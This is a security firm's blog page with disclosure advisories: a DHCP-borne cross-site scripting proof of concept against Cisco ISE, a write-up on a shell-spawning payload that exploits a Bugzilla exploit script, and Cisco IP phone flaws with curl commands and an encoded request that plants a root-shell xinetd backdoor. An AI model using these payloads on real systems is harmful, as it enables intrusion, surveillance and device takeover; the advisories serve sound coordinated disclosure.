2020-02-19
More security brings more insecurity
modzero found a vulnerability in the Cisco Identity Services Engine (ISE) environment, which allows arbitrary participients of a network to inject arbitrary JavaScript payload right into the administrative webpage of the Cisco ISE administration interface.
CISCO ISE is considered to enhance the overall network security, by limiting access to local area networks. Arbitrary users using DHCP as a yet anonymous participent are able to exploit weaknesses in Cisco's administrative interfaces and thus by-pass the increased security level:The hostname and the vendor_class_id options of any DHCP request can be abused to inject malicious payload to execute code in the context of the browser of the administator, connecting to the Web interface. Further details and a PoC are available in our advisory.
Direct Link: https://www.modzero.com/advisories/MZ-19-03-CISCO-ISE.txt
----------------------------------------------------[MZ-19-03]----v1.2--
modzero Security Advisory:
Unauthenticated persistent cross-site scripting injection into the
administrative console of CISCO ISE web application via DHCP request
------------------------------------------------------------------------
------------------------------------------------------------------------
1. Timeline
------------------------------------------------------------------------
* 2019-11-22: Advisory sent to Cisco PSIRT psirt@cisco.com
* 2019-11-22: PSIRT opened case (PSIRT-0535851956)
* 2019-11-22: PSIRT communicated tentative publishing date '2020-02-19'
* 2020-02-12: PSIRT incident manager confirmed reproduceability
* 2020-02-12: Received an unofficial CVE Number CVE-2020-3156
* 2020-02-19: modzero released advisory to the public
In accordance with modzero's disclosure policy, the advisory is
expected to be published not later than February 21st, 2020. Our
disclosure policy is available at:
https://www.modzero.ch/static/modzero_Disclosure_Policy.pdf
------------------------------------------------------------------------
2. About
------------------------------------------------------------------------
Affected vendor: Cisco
Latest known to be vulnerable version products:
* Cisco Identity Services Engine version 2.6.0.156, Patch 2,3
- Product Identifier: SNS-3655-K9
- Version Identifier A0
- ADE-OS Version 3.0.5.144
The Cisco Identity Services Engine is the engine behind Cisco's Network
Access Control solution. It enables the creation and enforcement of
security and access policies for endpoint devices connected to the
company's routers and switches.
------------------------------------------------------------------------
3. Details
------------------------------------------------------------------------
An unauthenticated attacker who is able to inject a specially crafted
DHCP request packet into the network controlled by Cisco Identify
Service Engine (ISE), is able to persistently store code (e. g.
JavaScript), which is executed in the context of the Web-browser
accessing the Web-based management interface.
The vulnerability is due to insufficient validation and encoding of the
attacker-controllable input within the hostname and vendor class
identifier field of processed DHCP request packets.
The attacker-controlled code will be executed in the context of the
user of the Web-based management console. If a legitimate user is
reviewing an Endpoint's attributes within the Identity Services
Engine's Web- based-management-interface.
The attacker-controlled code will be executed in the context of the
user that is currently logged in to the Web-based management console,
when the endpoint attribute details are reviewed by opening the
following
URL:
https://ISESRV/admin/login.jsp#context_dir/context_dir_devices/endpointDetails
------------------------------------------------------------------------
4. Impact
------------------------------------------------------------------------
The code will be executed with the rights of the user accessing the Web-
based management console. If the user has administrative rights, the
attacker might be able to leverage arbitrary functions of the Web-based
management interface.
------------------------------------------------------------------------
5. Proof of Concept exploit
------------------------------------------------------------------------
Using the following python script, two simple JavaScript code fragments
will be sent in the hostname and vendor class identifier fields of the
DHCP request.
#!/usr/bin/env python
from scapy.all import *
import scapy
conf.iface = "eth0"
hostname_payload = "<script>alert('hostname payload')</script>"
vendor_class_id_payload = "<script>alert('v class id payload')</script>"
_, hw = get_if_raw_hwaddr(conf.iface)
ethernet = Ether(dst='ff:ff:ff:ff:ff:ff', src=hw, type=0x800)
ip = IP(src ='0.0.0.0', dst='255.255.255.255')
udp = UDP (sport=68, dport=67)
bootp = BOOTP(op=1, chaddr=hw)
dhcp = DHCP(options=[("message-type","request"), \
("hostname",hostname_payload),("vendor_class_id", \
vendor_class_id_payload),('end')])
packet = ethernet / ip / udp / bootp / dhcp
sendp(packet, iface=conf.iface)
Once a person reviews the attributes of an endpoint within the ISE web-
based management interface the code will be executed.
------------------------------------------------------------------------
6. Workaround
------------------------------------------------------------------------
-
------------------------------------------------------------------------
7. Fix
------------------------------------------------------------------------
No software updates are available yet.
------------------------------------------------------------------------
8. Credits
------------------------------------------------------------------------
* Max Moser
* Katharina Maennle
------------------------------------------------------------------------
9. About modzero
------------------------------------------------------------------------
The independent company modzero assists clients with security analysis
in the complex areas of computer technology. The focus lies on
highly detailed technical analysis of concepts, software and
hardware components as well as the development of individual
solutions. Colleagues at modzero work exclusively in practical,
highly technical computer-security areas and can draw on decades of
experience in various platforms, system concepts, and designs.
Website: https://www.modzero.ch
E-Mail: contact@modzero.ch
------------------------------------------------------------------------
10. Disclaimer
------------------------------------------------------------------------
The information in the advisory is believed to be accurate at the time
of publishing based on currently available information. Use of the
information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct,
indirect, or consequential loss or damage arising from use of, or
reliance on, this information.
2019-10-04
Exploit Wars II - The server strikes back
When working in security we usually worry about the security of our customers and the potential vulnerabilities in their software or their configurations.
But what about the attackers? Hardly anybody seems to worry about them, and even they themselves are usually mostly concerned with OPSEC if anything at all.
Given that inherent imbalance it seemed only fair to look at the security of exploits for once, rather than always servers or services.
Finding an Exploit to Exploit
There are some prerequisits for an exploit to be exploitable in an impactful way.
- It should be readily available. Otherwise any potential exploit is very unlikely to work on any kind of scale.
- It should be a remote exploit. Otherwise it wouldn't really run on the attackers (or is it victim now?) system.
- Ideally it uses a
system()function call. This is a good target for making command injection work. - It needs to act differently depending on a server response. Otherwise we have no way to influence the exploit we want to exploit.
The first three points can be easily handled.
- Availability - Everything that is in ExploitDB is widely available
- Remote Exploit - grep for "remote"
- Using system() - grep for "system(.*)"
For the last point things are a bit more tricky and require manual inspection eventually. Which isn't too bad,
since ultimately, even if it uses user input(/victim input), we'd still have to manually check if it's exploitable.
Luckily for us Kali Linux comes preinstalled with exploitdb, so searching through the files is easy.
After a bit of manual inspection we find a candidate.
The Victim Exploit
The exploit is for Mozilla Bugzilla up to and including 2.10.
In the process of exploitation it fetches a product name from the server using lynx and a call to system().
The call to system() is a good indicator for potential exploitation. You can see the relevant part of the exploit below.
The line has been cut off a bit on the right, but it just passes more parameters and pipes the output into a file.
After fetching the information, it processes it to extract the product name. Essentially it extracts everything after "product=" up until the first double quote.
With the extracted product name it sends another request to the server to get additional information.
In that request it uses the product name that was previously extracted from the servers' reply.
The line is again cut off on the right. Simply because it's too long. The only important thing to know about the missing part is that the output is piped into a file named enter_bug.cgi
This call to system() uses the $page variable, which is constructed from the product name in $product amongst other things.
So there's a way to influence the call to system() with what is returned to the first request: arbitrary data from an untrusted source, namely the exploitee.
The only TINY problem is that the product name is encoded using the antiIDS() function.
The Little Big Problem of Getting Through the Anti IDS Encoder
Let's take a look at antiIDS(), which is built to circumvent Intrusion Detection Systems by avoiding certain characters.
Well, that's easy. Just write a command injection that doesn't use any of the following characters:
NumbersLettersAny quotation marksSpaces.-|<>\
Okay, so maybe we should see if we can find another vulnerable exploit.
At this point I actually went to look for other potentially vulnerable exploits, came up with nothing and eventually got back to this one. We sat down to look at this with the CTF team I participate in and had a go at it. It's surprisingly tricky to do anything without letters or numbers, so when we found a way to be able to use numbers we were all really excited. I'll try to explain how it works below.
Bashing our Heads Against the Wall
Globbing may help: Linux shells can expand certain characters to match multiple paths at once.
A * matches anything in the current directory.
A ? matches a single character.
So /b?n/b?sh will most likely match /bin/bash, but in contrast to the characters / and ?, letters are filtered by the IDS routine. Unfortunately, when trying to run /???/???? in a shell, it runs the first match it finds, giving that program all other matches as parameters.
We need to find something useful that we can uniquely match just from how many characters it has, so we can execute it using only ? and /.
Sadly, there is nothing like that on a standard Kali Linux installation, which is what we are targeting.
Creating Numbers From Tabs and Special Chars
We can, however, declare a Bash function, since we can use () and {} as well as ;.
With that ability and also $# which expands to the number of parameters given and using tabs instead of spaces, we can actually construct numbers like this:
____() { __=$#;};____ $#;_=$__;
Let's break this one down:
____() { __=$#;}; declares the function ____ which assigns the number of its arguments to the variable $__.
____ $#; calls that function with one argument so that the number 1 is assigned to $__
_=$__; assigns the number 1 to $_
And after all that effort to create the number 1 we can use some more magic to construct the numbers 3 and 7 as well and create the expression /???/?1?/??????3?7 which matches only the path /usr/X11/python3.7.
____() { __=$#;};____ $#;_=$__;____ $# $# $#;___=$__;____ $# $# $# $# $# $# $#;/???/?$_?/??????$___?$__
Note how we shortened the process for the last number a bit by skipping the assignment to another variable and used __ directly.
That's great, but so far this would only spawn an interactive python shell, so we aren't fully there yet.
As mentioned earlier, the response from the server is piped into a file called enter_bug.cgi.
This file is placed in a newly created, empty directory. So if we do our same matching trick again, we will most likely match the exact file we want with ?????_???????.
The Python executable takes this file then as an argument and executes it. We can just make the first line a python comment, which doesn't stop the regex from parsing the payload, and the rest will be valid python.
Putting the Exploit in the Exploit
Here's the finished Mozilla Bugzilla exploit exploit. Just serve this on the enter_bug.cgi request of your Bugzilla installation and watch the magic.
#enter_bug.cgi?product=$(____() { __=$#;};____ $#;_=$__;____ $# $# $#;___=$__;____ $# $# $# $# $# $# $#;/???/?$_?/??????$___?$__ ?????_???????)
import sys
import os
print("Yo dawg. I heard you like exploits. So I made an exploit for your exploit, so you can be exploited while you exploit.", file=sys.stderr)
os.system("bash")
Conclusion
Don't run everything you find on the Internet! Especially if it's the response of a server you're attacking.
At this point I'd also like to credit eibwen for his help with working out the payload. Finally, cross your heart, have you ever done backups of your Kali-system? :-)
Posted by Nils Ole Timm | Permanent link | File under: opensource, github, hacking, opsec, exploit, rant
2019-09-27
Wir suchen: Backoffice-Mitarbeiter*in (w/d/m) für die Büro-Organisation und Buchhaltung
Wir sind eine kleine, junge IT-Sicherheits-Firma von acht Jahren. 2011 in Rapperswil in der Schweiz gegründet und 2013 nach Berlin expandiert, betreiben wir zwei Büros in Winterthur und Berlin. Wir beraten Firmen und Konzerne aus der zivilen Wirtschaft hinsichtlich IT-Sicherheit. Kunden mit militärischem oder nachrichtendienstlichem Hintergrund lehnen wir ab. Für unser Büro in Berlin (nahe S-Bhf Friedrichstr.) suchen wir zeitnah eine weitere nette Person für die Büro-Organisation und Buchhaltung.
Aufgaben:
- Administrative und organisatorische Tätigkeiten
- Sekretariatsaufgaben (Korrekturlesungen, Korrespondenz, Postbearbeitung, E-Mail-Bearbeitung)
- Buchhaltungstätigkeiten wie z. B.: Verbuchung von laufenden Geschäftsfällen
- Personalsachbearbeitung vorbereitend für unser Lohnbüro oder selbständige Lohnbuchhaltung
- Gehaltsüberweisungen
- Administrative Arbeiten im Rechnungswesen
- Abwicklung Zahlungsverkehr sowie Rechnungsprüfung
- Ausbau und Mitgestaltung von betriebswirtschaftlichen Abläufen
- Reise-Planung/Buchung/Koordinierung
Anforderungen:
- Kontaktfreudigkeit, Flexibilität
- Organisationstalent
- Gute Deutsch- & Englisch-Kenntnisse in Wort und Schrift
- Hohe Team- und Serviceorientierung
- Kaufm. Ausbildung bzw. entsprechende Erfahrung
- Versiert im Umgang mit den gängigen Office-Anwendungen (MS-Office)
- Vertrauenswürdigkeit, Genauigkeit
- Eigenverantwortliche und selbständige Arbeitsweise
- Teil- oder Vollzeit möglich
Spricht für Dich:
- Neugier
- Grundsätzliches Verständnis von IT-Sicherheit
- Sicherer Umgang mit PGP-Verschlüsselungssoftware
- Kenntnisse im Umgang mit Word Makros/VB
- Pragmatisch, Lösungsorientiert
- Recherche- und Dokumentations-Fertigkeiten
Wir bieten:
- Motivierte, freundliche und selbständige Arbeitskolleg*innen
- Interessantes, herausforderndes, abwechslungsreiches & vielfältiges Aufgabengebiet in einem jungen Unternehmen
- Langfristige und vielseitige Position
- Selbständige Arbeitsmöglichkeit
- Technische Weiterbildung in Sachen IT-Sicherheit
Wenn Du es bis hier geschafft hast, schreib uns doch bitte eine E-Mail: jobs@modzero.ch - den passenden PGP-Schlüssel findest Du hier: http://www.modzero.ch/pgp/jobs_modzero.ch.asc.
2019-03-22
Multiple vulnerabilities in Cisco IP Phone 7800 and 8800 series [MZ-19-01]
-----------------------------------------------------------------v1--
modzero Security Advisory:
Multiple vulnerabilities in the web interface of the Cisco IP Phone
7800 and 8800 series [MZ-19-01]
---------------------------------------------------------------------
---------------------------------------------------------------------
1. Timeline
---------------------------------------------------------------------
* 2018-06-28: Report with findings delivered to a customer and
findings have been reported by our customer to Cisco.
* 2018-11-21: This advisory has been sent to the Cisco security team
(psirt@cisco.com) to get a status regarding security patches.
* 2018-11-21: Initial response from PSIRT to us.
* 2018-12-17: Received Cisco bug IDs: CSCvn56168, CSCvn56175,
CSCvn56194, CSCvn56213, CSCvn56221
* 2019-01-23: Information from Cisco that other phones are affected
as well and they still work on a fix.
* 2019-02-19: 90 days period for keeping detailed information back is
over.
* 2019-02-19: Cisco asks to extend period to 2019-03-20. Extension
agreed by modzero.
* 2019-03-06: Received CVE-IDs from Cisco
* 2019-03-20: Cisco releases advisory and fixes
* 2019-03-20: Advisory published
---------------------------------------------------------------------
2. Summary
---------------------------------------------------------------------
Vendor: Cisco
* 3.1 Buffer overflow in the phone's webserver
CVE-2019-1716
modzero: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H -> 8.1
URL:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ip-phone-rce
CVSS Base Score according to Cisco: 7.5
Affected products according to Cisco:
* 10.3(1)SR5 for Unified IP Conference Phone 8831
* 11.0(4)SR3 for Wireless IP Phone 8821 and 8821-EX
* 12.5(1)SR1 for the rest of the IP Phone 7800 and 8800 Series
Not affected according to Cisco:
* IP phones running Multiplatform Firmware
* 3.2 Phone's web interface fails to restrict access to functions
CVE-2019-1763
modzero: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H -> 8.2
URL:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ipab
CVSS Base Score according to Cisco: 7.5
Affected products according to Cisco:
* 11.0(5) for Wireless IP Phone 8821 and 8821-EX
* 12.5(1)SR1 for the IP Conference Phone 8832 and the rest of the
IP Phone 8800 Series
Not affected according to Cisco:
* IP Conference Phone 8831
* IP phones running Multiplatform Firmware
* 3.3 File upload vulnerability in the phone's web interface
CVE-2019-1766
modzero: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H -> 9.1
URL:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ipfudos
CVSS Base Score according to Cisco: 7.5
Affected products according to Cisco:
* IP Phone 8800 Series products running a SIP Software release
prior to 12.5(1)SR1
Not affected according to Cisco:
* Cisco IP Phone 7800 Series
* Cisco IP Conference Phone 7832
* Cisco Wireless IP Phone 8821(-EX)
* Cisco IP Conference Phone 8831
* Cisco IP Conference Phone 8832
* IP phones running Multiplatform Firmware
* 3.4 Phone's file upload affected by path traversal and null
injection
CVE-2019-1765
modzero: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H -> 9.1
URL:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ipptv
CVSS Base Score according to Cisco: 8.1
Affected products according to Cisco:
* 11.0(5) for Wireless IP Phone 8821-EX
* 12.5(1)SR1 for the IP Conference Phone 8832 and the rest of the
IP Phone 8800 Series
Not affected according to Cisco:
* Cisco IP Phone 7800 Series
* Cisco IP Conference Phone 8831
* Cisco IP Conference Phone 7832
* IP phones running Multiplatform Firmware
* 3.5 Anti-Cross-Site Request Forgery Token ineffective in Phone's
upload function
CVE-2019-1764
modzero: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H -> 7.3
URL:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ip-phone-csrf
CVSS Base Score according to Cisco: 8.1
Affected products according to Cisco:
* 11.0(5) for Wireless IP Phone 8821-EX
* 12.5(1)SR1 for the IP Conference Phone 8832 and the rest of the
IP Phone 8800 Series
Not affected according to Cisco:
* Cisco IP Phone 7800 Series
* Cisco IP Conference Phone 8831
* Cisco IP Conference Phone 7832
* IP phones running Multiplatform Firmware
---------------------------------------------------------------------
3. Details
---------------------------------------------------------------------
3.1 Buffer overflow in the phone's webserver
The embedded web-server running on the Cisco IP phones suffers from a
buffer-overflow vulnerability. During testing, it was confirmed that a
maliciously crafted, unauthenticated request is able to trigger the
vulnerability and results in re-booting of the phone. Further analysis
of the phone firmware showed that the vulnerability may result in
remote code execution in the context of the web server process.
The vulnerable function is extractUsernameAndPassword() for the
analyzed CP-8832 and CP-8845/65 phone firmware versions. The function
is called whenever a HTTP request needs to be authenticated according
to the HTTP "Basic" authentication schema. First, the function
allocates a 257 byte-sized temporary buffer tmp_buf on the stack.
Then, the HTTP authorization header is acquired through the HTTP
connection object conn. The authorization header is decoded from
base64 representation by the function decodeUserPassword() and stored
into tmp_buf. Before calling decodeUserPassword(), the authorization
header string length is not processed safely. The pseudo-code below
highlights the problematic computation step:
char tmp_buf[257];
memset(tmp_buf, 0, sizeof(tmp_buf));
[...]
unsigned len = strlen(authorization_header);
len = len & 0xffff;
decodeUserPassword(authorization_header, len, tmp_buf);
Instead, the following code should have been employed to correctly
limit the input to the decodeUserPassword() function as follows:
char tmp_buf[257];
memset(tmp_buf, 0, sizeof(tmp_buf));
[...]
unsigned len = strlen(authorization_header);
if (len > 340) len = 340; // b64-dec is 8 to 6 bit transform
decodeUserPassword(authorization_header, len, tmp_buf);
Because of this programming error, an input of up to 65535 characters
can be passed to decodeUserPassword(), which will in consequence
decode and write up to 49152 bytes into tmp_buf and the subsequent
memory area on the stack. The saved stack pointer and program counter
are located right behind tmp_buf and therefore can be overwritten with
arbitrary values. When the function extractUsernameAndPassword()
returns, the modified stack pointer and program counter are loaded
from memory. When arbitrary garbage values are supplied, the program
will typically crash and the phone will reboot. It is likely that with
sufficient knowledge of the memory layout and program state, an
attacker may inject carefully prepared data and execute arbitrary
code.
The following HTTP request was shown to trigger the vulnerability
(HTTP authorization header truncated for readability):
GET /CGI/Java/x HTTP/1.1
Host: localhost
User-Agent: curl/7.58.0
Accept: */*
Authorization: Basic iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii...
Connection: close
Such a request can be generated with the command below and sent to the
HTTP or HTTPS port of the phone's web server:
curl -k -u `seq -s: 999` -d 1 https:///CGI/Java/CallInfo
In a disassembly of the vulnerable function
extractUsernameAndPassword() it can be observed that the code lacks
set-up and validation of stack canaries in the function prolog and
epilog. Therefore, an attacker is able to trivially overwrite the
saved program counter located on the stack. The underlying Linux
kernel has Address-Space Layout Randomization (ASLR) enabled
(/proc/sys/kernel/randomize_va_space was observed to be set to the
value 2), but the verbose externally exposed message log via the web
server contains memory addresses from the HTTP server processes as
shown below. Therefore, an attacker is likely to correctly guess
memory addresses and becomes able to defeat the ASLR countermeasure.
7923 DEB Jun 11 10:12:03.235178 (709:818) JAVA-Sec SSL Connection -
Added SSL connection handle 0x40f82660, connDesc 90 to table.
3.2 Phone's web interface fails to restrict access to functions
The IP phone's web server implements authorization checks to control
access to functions. A programming error allows to bypass these checks
and access internal functions without authentication. For example, the
phone can be rebooted. This issue facilitated the proof-of-concept
exploit to gain remote root access to IP phones described in the
chapter 5.
Internally, web pages that allow interaction with internal functions
(in contrast to web pages that only display information) are called
"editable pages". If an incoming request is recognized to access an
editable page, further checks for authentication and authorization are
performed.
The disassembly of the vulnerable function isEditablePage() in the two
firmware versions is rewritten as the pseudo-code below and
illustrates how the function employs strcmp() to analyze incoming HTTP
requests. It fails to produce the correct result when the input does
not exactly match the test strings. This is possible for example, when
the parameter string contains additional but insignificant characters
like an ampersand ('&').
int isEditablePage(
char *uri, // query path
char *params, // query parameters
) {
return (
strcmp(uri, "/CGI/Java/Serviceability") == 0 && (
strcmp(params, "adapter=datetime") == 0 ||
strcmp(params, "adapter=datetimelocal") == 0 ||
strcmp(params, "adapter=datetimespec") == 0 ||
...
)
) || ... ;
}
The following command exploits the described behavior to reboot the
phone.
curl -k -d 1
"https:///CGI/Java/Serviceability?adapter=do_restart&"
Another exploit of the described issue is shown in chapter 5.
3.3 File upload vulnerability in the phone's web interface
The IP phone contains a function that allows uploading of files to the
phone's file system. It is usually employed to upload custom
certificates and constructed in a non-standard way, i.e. it already
writes data to a local file during an initial parameter parsing step.
As a consequence, it is possible to write arbitrary file contents,
even when later processing steps fail or no further actions are
performed on the data. This may lead to denial-of-service conditions,
for example storage media failure or storage space exhaustion. The
ability to persist arbitrary data on the device facilitated creation
of the exploit described in the chapter 5.
The problematic file upload function is implemented in Java. Incoming
HTTP POST requests are handled by the doPost method. When the
parameter adapter is equal to "loginPost", "upload_usercert" or
"upload_rootca", the method parseFormResults() is called to process
the request body. parseFormResults() iterates over all body parts and
in turn calls parseHeader() for each. Instead of postponing any data
processing steps until all input has fully been validated, the method
parseFormResults() has the side-effect of writing the parts named
"rootca" and "usercert" to the file system.
3.4 Phone's file upload affected by path traversal and null injection
The IP phones contain a file upload function which is vulnerable to
path traversal and null byte injection. An attacker is able to write
to arbitrary files in the file system, with permissions of the web
server process. The proof of concept exploit in the chapter 5 shows
how this issue enabled writing to configuration file locations to
place a persistent back-door on the phone.
The problematic file upload function is implemented in Java. The
parseHeader() method constructs target file paths with the two
following statements:
this.usercertFileName = "/usr/local/wifi/rootca/" + this.rootca +
".up";
this.usercertFileName = "/usr/local/wifi/usercert/" + this.usercert +
".up";
An attacker directly controls the member variables rootca and
usercert. By prefixing a desired path with a sequence of dots and
slashes and terminating the string with a null character, an arbitrary
file path can be written to.
3.5 Anti-Cross-Site Request Forgery Token ineffective in Phone's
upload function
The web interface available on the phones contains an upload function
for user-provided certificates. To protect against Cross-Site Request
Forgery (CSRF) attacks, an Anti-CSRF token is employed. But the Anti-
CSRF token is validated too late, after input data has already been
written to the file system. Therefore, the Anti-CSRF token is
ineffective and does not protect the upload function from CSRF
attacks. An attacker may abuse this behavior to exploit security
vulnerabilities in the phone's web server in a CSRF-scenario: For
example, by luring an internet-connected victim web browser onto an
attacker-controlled page. If the (possibly authenticated) victim also
has access to the phone's web server, the attacker-controlled page may
submit malicious requests to the phone.
The method parseFormResults() in the upload implementation verifies
the CSRFToken parameter as final step. This is insufficient, because
actions with substantial side-effects have already been performed
before the check raises an exception. The exception caused by failure
of the CSRFToken check does not inhibit exploitation of
vulnerabilities, as demonstrated by the proof-of-concept in chapter 5.
---------------------------------------------------------------------
4. Impact
---------------------------------------------------------------------
modzero identified several critical vulnerabilities in Cisco phone web
interfaces which lead to a full compromise of the phone without any
authentication. An attacker could exploit these vulnerabilities to
obtain sensitive call data, to perform call fraud, as well as an audio
and video surveillance of offices, and to use the phones as attack
platform for other infrastructure.
---------------------------------------------------------------------
5. Proof of concept exploit
---------------------------------------------------------------------
An IP phone (model CP-8865, firmware version cmterm-8845_65.12-0-1SR1-
1) was successfully compromised via exploitation of a combination of
vulnerabilities. The command below performs a carefully constructed
HTTP request to the phone's web server to exploit the vulnerabilities
documented in this advisory:
echo
"H4sIANX2IlsCA5WPwWoDMQxEexbsP5jcvS45JuRbimsricCxjCynLiX/Hu+ylFx6KOgwe
jAzjLW99wkCZ8WsNlItXE"\
"mJ88GcWW42evVHk/0NT8KsYTxnSriC3Ty732tVXOLgk+uUUaPrb7sJlpgJJqgodwpoOvy
Afhc0J9NyoqoYoQgrB06DaSjw5"\
"UmHzAxtuIZ6h4twK6taclboPim7et3Ah5dLHdQSFJbFvt/DY/Taf+xb6gKK/rXw7sVJy9
u+uVB8Xbh1WQtPExeckFQBAAA="|
base64 -d|gunzip|curl -k --data-binary @- -H "Content-Type:
multipart/form-data; boundary=xxx" \
"https:///CGI/Java/Serviceability?adapter=loginPost&"
The first exploited vulnerability is the issue described in section
3.1: The authorization check to access the loginPost function is
bypassed by appending an ampersand (`&') symbol to the URL. The input
payload data is written to the file system due to the file upload
vulnerability described in section 3.3. By exploiting the path
traversal and null injection vulnerability documented in section 3.4,
an internal path can be specified to write into configuration files.
The attacker does not provide a valid anti-CSRF token, which causes
the server to respond with HTTP error 400 Bad Request. But this does
not stop the attack, because of the vulnerable anti-CSRF token
validation mechanism described in section 3.5.
The malicious request writes two files. First, a configuration for a
backdoor xinetd service is written to the location
/usr/local/xinetd/x. The service consists of a root (user 0) shell
listening on tcp port 22. (Port 22 was selected, because observed
firewall configuration suggested that traffic to this port is
typically allowed and expected. If another service is already active
on port 22, this may need to be adjusted.) The xinetd configuration is
reproduced below:
service x
{
type = unlisted
protocol = tcp
wait = no
user = 0
group = 0
server = /bin/sh
server_args = -i
port = 22
}
The second part of the requests writes the empty string to
/var/run/xinetd.pid, effectively truncating the file. This file is
periodically inspected by the cron script located in
/etc/cron.5mins/02xinetdmon, which is shown below. The cron script
executes every fifth minute in the hour and after xinetd.pid was
tampered with, will ensure that xinetd starts with the backdoor
configuration.
#!/bin/sh
xinetd_pid=$( cat /var/run/xinetd.pid )
if [ -z "$xinetd_pid" -o ! -d /proc/"$xinetd_pid" ]; then
# In dd/mm/yy/hour/min/sec format
currtime=$(date +"%d%m%y%H%M%S")
echo "$currtime: cannot find xinetd" >>
/usr/local/backtraces/xinetd.crash
echo "$currtime: starting xinetd" >>
/usr/local/backtraces/xinetd.crash
/etc/init.d/xinetd.sh start
fi
After waiting until the next fifth minute has passed, the backdoor
service is started and can be accessed via connecting to port 22 of
the phone.
---------------------------------------------------------------------
6. Workaround
---------------------------------------------------------------------
Disabling the web interface on the phone eliminates the risk.
---------------------------------------------------------------------
7. Fix
---------------------------------------------------------------------
According to the Cisco advisories, fixes are available.
---------------------------------------------------------------------
8. Credits
---------------------------------------------------------------------
* David Gullasch
---------------------------------------------------------------------
9. About modzero
---------------------------------------------------------------------
The independent Swiss company modzero AG assists clients with security
analysis in the complex areas of computer technology. The focus lies
on highly detailed technical analysis of concepts, software and
hardware components as well as the development of individual
solutions. Colleagues at modzero AG work exclusively in practical,
highly technical computer-security areas and can draw on decades of
experience in various platforms, system concepts, and designs.
https://www.modzero.ch
contact@modzero.ch
---------------------------------------------------------------------
10. Disclaimer
---------------------------------------------------------------------
The information in the advisory is believed to be accurate at the time
of publishing based on currently available information. Use of the
information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct,
indirect, or consequential loss or damage arising from use of, or
reliance on, this information.
2018-10-30
Sicherheitsmängel in e-Health Anwendungen
Schwerwiegende Sicherheitsmängel in Elektronischer Gesundheitsakte "Vivy"
Am 21. September entdeckte unser Kollege Martin Tschirsich kurz nach der Veröffentlichung der Vivy Plattform zahlreiche sicherheitskritische Fehler in der Anwendung.
Daraufhin versuchten wir sofort einen Kontakt zu Sicherheitsverantwortlichen bei Vivy herzustellen. Dieser Kontakt kam auch sehr bald zustande, und es folgten zahlreiche Telefonate und ein Meeting in den Geschäftsräumen von Vivy in Berlin-Mitte.
Am 4. Oktober um 18 Uhr erreichte uns eine PGP-signierte Email von einem der Vivy-Geschäftsführer, in der Vivy um eine Verlängerung von zwei Wochen bat, da einige Sicherheitsprobleme der Crypto-Implementierung noch nicht behoben werden konnten. Diese zwei Wochen haben wir selbstverständlich eingeräumt, da wir keine Berichte über ungepatchte Schwachstellen veröffentlichen wollten.
Heute veröffentlichen wir in Koordination mit Vivy unseren Bericht über die auf dieser e-Health Plattform gefundenen Probleme. Dies tun wir, weil uns die Sensibilisierung von Patienten und Anwendern ein Kernanliegen darstellt. Zudem wollen wir mit der kritischen Betrachtung einer solchen Plattform allen Firmen im e-Health Sektor deutlich machen, dass ihnen eine unglaublich große Verantwortung obliegt. Es muss von jeder Seite um jeden Preis sichergestellt werden, dass Dokumente wie Gesundheitsdaten einen besonderen Schutz genießen müssen.
Sämtliche Befunde ließen sich praktisch verifizieren und sind keineswegs theoretischer Natur. Zudem mussten auch kaum komplexe Voraussetzungen wie beispielsweise ein kompromittierter Rechner oder Server erfüllt sein. Zur Untermauerung unserer Aussagen, veröffentlichen wir den technischen Bericht [1] und die folgende, kurze Meldung:
Seit wenigen Wochen können rund 13,5 Millionen Krankenversicherte ihre Gesundheitsdaten mit "Vivy" selbst verwalten. Doch das schweizer-deutsche IT-Sicherheits-Unternehmen modzero hat herausgefunden: Nicht nur Patienten und Ärzte, auch Unbefugte konnten die Gesundheitsdaten lesen - und zum Teil auch manipulieren. modzero veröffentlicht hierzu nun einen Sicherheitsbericht. Zuvor wurde Vivy über die Sicherheitslücken informiert und es wurde ausreichend Gelegenheit zu deren Beseitigung gegeben. Der Zeitpunkt dieser Veröffentlichung wurde mit den Verantwortlichen koordiniert.
Was ist "Vivy"?
Die Gesundheits-App Vivy ist angetreten, um Versicherten von 14 gesetzlichen und zwei privaten Krankenkassen als Assisstentin in Sachen Gesundheit zu dienen. Neben der Pflege von Medikamentenplänen und Impfterminen soll die App den Austausch von Gesundheitsakten wie Rezepten, Befunden und Laborwerten zwischen Ärzten und Patienten ermöglichen. Vivy wirbt dabei mit "Sicherheit auf höchstem Niveau": "Es gibt kaum sensiblere Daten als die zur eigenen Gesundheit. Daher ist es für Vivy von höchster Priorität, medizinischen Daten vor jeglichem Zugriff unberechtigter Dritter zu schützen." [0]
Was ist passiert?
Mit großen Sicherheitsversprechen betrat der Anbieter Vivy im September 2018 den Markt der Gesundheits-Apps. Der Hersteller gibt an, Patientendaten durch sichere Authentifizierungs-Methoden und moderne Verschlüsselung vor unberechtigtem Zugriff zu schützen.
Die beworbenen Schutzmaßnahmen entsprechen grundsätzlich gängiger Praxis zum Schutz sensibler Daten, aber die Betonung der Sicherheitsmerkmale liest sich für IT-Sicherheitsforscher wie eine Einladung, dies einmal genauer zu prüfen. Unser Kollege Martin Tschirsich ist dieser Einladung gefolgt und fand innerhalb kürzester Zeit gravierende Sicherheitslücken in der Vivy-App und den dazugehörigen Servern.
